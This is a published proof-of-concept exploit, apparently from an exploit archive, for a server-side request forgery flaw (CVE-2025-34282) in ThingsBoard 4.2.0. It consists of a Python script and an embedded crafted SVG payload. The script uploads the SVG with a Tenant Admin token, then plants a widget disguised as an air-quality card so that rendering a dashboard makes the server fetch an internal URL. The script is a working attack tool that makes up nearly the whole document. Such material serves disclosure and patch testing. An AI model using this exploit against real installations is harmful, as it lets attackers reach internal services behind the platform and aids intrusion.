ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery (SSRF)
Proof of Concept (PoC)
poc.py
# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF)
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
# https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
# ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
# Upload Gallery feature. An attacker can upload a crafted SVG file containing
# a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
# When ThingsBoard processes the uploaded SVG server-side, it fetches the
# referenced URL, allowing the attacker to reach internal services not
# exposed to the internet.
#
# Requires a Tenant Admin bearer token. Tenant Admin is a role below System
# Admin in ThingsBoard's hierarchy and has access to the Widget Library and
# Image Upload Gallery APIs used in this exploit.
#
# Attack chain:
# 1. Upload a malicious SVG to POST /api/image
# -> Server processes the SVG and issues a request to the internal URL
# 2. Create a custom widget embedding the SVG's publicLink via <object> tag
# -> Widget render also triggers the server-side fetch
#
# SVG payload used (ssrf_localhost_5555_svg.svg):
# <?xml version="1.0" standalone="no"?>
# <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
# xmlns:xlink="http://www.w3.org/1999/xlink"
# xmlns:ev="http://www.w3.org/2001/xml-events">
# <defs>
# <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
# <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
# </pattern>
# </defs>
# <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
# </svg>
#
# Usage:
# pip install requests
# python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
# python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...
import requests
import json
import os
import sys
import argparse
import time
DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"
def upload_image(filepath, token):
if not os.path.isfile(filepath):
raise SystemExit(f"File not found: {filepath}")
filename = os.path.basename(filepath)
mime_types = {
'.svg': 'image/svg+xml',
'.jpg': 'image/jpeg',
'.jpeg': 'image/jpeg',
'.png': 'image/png',
'.gif': 'image/gif'
}
ext = os.path.splitext(filename)[1].lower()
mime_type = mime_types.get(ext, 'application/octet-stream')
headers = {
"X-Authorization": f"Bearer {token}",
"User-Agent": "python-requests/2.x",
"Referer": DEFAULT_REFERER,
"Origin": DEFAULT_ORIGIN,
}
with open(filepath, "rb") as f:
files = {
"file": (filename, f, mime_type)
}
resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)
return resp
def create_widget(public_link, token):
headers = {
"X-Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Origin": DEFAULT_ORIGIN,
"User-Agent": "python-requests"
}
template_html = f"""
<tb-value-card-widget
[ctx]="ctx"
[widgetTitlePanel]="widgetTitlePanel">
</tb-value-card-widget>
<object data="{public_link}" type="image/svg+xml"></object>
"""
payload = {
"fqn": "SSRF_testing_Poc",
"name": "SSRF_testing_Poc",
"deprecated": False,
"image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
"description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
"descriptor": {
"type": "latest",
"sizeX": 3,
"sizeY": 3,
"resources": [],
"templateHtml": template_html,
"templateCss": "",
"controllerScript": "self.onInit = function() {n self.ctx.$scope.valueCardWidget.onInit();n};nnself.onDataUpdated = function() {n self.ctx.$scope.valueCardWidget.onDataUpdated();n};nnself.typeParameters = function() {n return {n maxDatasources: 1,n maxDataKeys: 1,n singleEntity: true,n previewWidth: '250px',n previewHeight: '250px',n embedTitlePanel: true,n supportsUnitConversion: true,n defaultDataKeysFunction: function() {n return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];n }n };n};nnself.onDestroy = function() {n};n",
"dataKeySettingsForm": [],
"settingsDirective": "tb-value-card-widget-settings",
"hasBasicMode": True,
"basicModeDirective": "tb-value-card-basic-config",
"defaultConfig": "{"datasources":[{"type":"function","name":"function","dataKeys":[{"name":"f(x)","type":"function","label":"Air Quality Index","color":"#2196f3","settings":{},"_hash":0.2392660816082064,"funcBody":"var value = prevValue + Math.random() * 100 - 50;\nif (value < 0) {\n\tvalue = 0;\n} else if (value > 320) {\n\tvalue = 320;\n}\nreturn value;","aggregationType":null,"units":null,"decimals":null,"usePostProcessing":null,"postFuncBody":null}],"alarmFilterConfig":{"statusList":["ACTIVE"]}}],"timewindow":{"realtime":{"timewindowMs":60000}},"showTitle":false,"backgroundColor":"rgba(0, 0, 0, 0)","color":"rgba(0, 0, 0, 0.87)","padding":"0px","settings":{"labelPosition":"top","layout":"square","showLabel":true,"labelFont":{"size":14,"sizeUnit":"px","family":"Roboto","weight":"500","style":"normal"},"labelColor":{"type":"constant","color":"rgba(0, 0, 0, 0.87)","colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n var percent = (temperature + 60)/120 * 100;\n return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';"},"showIcon":true,"iconSize":40,"iconSizeUnit":"px","icon":"mdi:weather-windy","iconColor":{"type":"range","color":"rgba(0, 0, 0, 0.87)","rangeList":[{"from":0,"to":50,"color":"#80C32C"},{"from":50,"to":100,"color":"#FFA600"},{"from":100,"to":150,"color":"#F36900"},{"from":150,"to":200,"color":"#D81838"},{"from":200,"to":300,"color":"#8D28C"},{"from":300,"to":null,"color":"#6F113A"}],"colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n var percent = (temperature + 60)/120 * 100;\n return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';"},"valueFont":{"size":26,"sizeUnit":"px","family":"Roboto","weight":"500","style":"normal"},"valueColor":{"type":"range","color":"rgba(0, 0, 0, 0.87)","colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n var percent = (temperature + 60)/120 * 100;\n return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';","rangeList":[{"from":0,"to":50,"color":"#80C32C"},{"from":50,"to":100,"color":"#FFA600"},{"from":100,"to":150,"color":"#F36900"},{"from":150,"to":200,"color":"#D81838"},{"from":200,"to":300,"color":"#8D28C"},{"from":300,"to":null,"color":"#6F113A"}]},"showDate":true,"dateFormat":{"format":null,"lastUpdateAgo":true,"custom":false},"dateFont":{"family":"Roboto","size":12,"sizeUnit":"px","style":"normal","weight":"500"},"dateColor":{"type":"constant","color":"rgba(0, 0, 0, 0.38)","colorFunction":"var temperature = value;\nif (typeof temperature !== undefined) {\n var percent = (temperature + 60)/120 * 100;\n return tinycolor.mix('blue', 'red', percent).toHexString();\n}\nreturn 'blue';"},"background":{"type":"color","color":"#fff","overlay":{"enabled":false,"color":"rgba(255,255,255,0.72)","blur":3}},"autoScale":true},"title":"Air quality card","dropShadow":true,"enableFullscreen":false,"titleStyle":{"fontSize":"16px","fontWeight":400},"units":"AQI","decimals":1,"useDashboardTimewindow":true,"showLegend":false,"widgetStyle":{},"actions":{},"configMode":"basic","displayTimewindow":true,"margin":"0px","borderRadius":"0px","widgetCss":"","pageSize":1024,"noDataDisplayMessage":"","showTitleIcon":false,"titleTooltip":"","titleFont":{"size":12,"sizeUnit":"px","family":null,"weight":null,"style":null,"lineHeight":"1.6"},"titleIcon":"","iconColor":"rgba(0, 0, 0, 0.87)","iconSize":"14px","timewindowStyle":{"showIcon":true,"iconSize":"14px","icon":"query_builder","iconPosition":"left","font":{"size":12,"sizeUnit":"px","family":null,"weight":null,"style":null,"lineHeight":"1"},"color":null}}"
},
"resources": None,
"scada": False,
"tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
}
try:
resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
return resp
except Exception as e:
print(f"Request failed: {e}", file=sys.stderr)
sys.exit(1)
def main(image_path, token):
try:
resp = upload_image(image_path, token)
print("Upload Status:", resp.status_code)
public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
if not public_link:
print(resp.json())
print("Failed to retrieve public link from response.")
sys.exit(1)
print("Public Link:", public_link)
time.sleep(2)
widget_resp = create_widget(public_link, token)
print("Widget Creation Status:", widget_resp.status_code)
print("n[+] Widget created successfully.")
print(" Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
print(" Add it to any dashboard to trigger the SSRF.")
except Exception as e:
print("Error:", e, file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
parser.add_argument("image", help="Path to the SVG file to upload")
parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
args = parser.parse_args()
if not args.token:
print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
parser.print_help()
sys.exit(2)
main(args.image, args.token)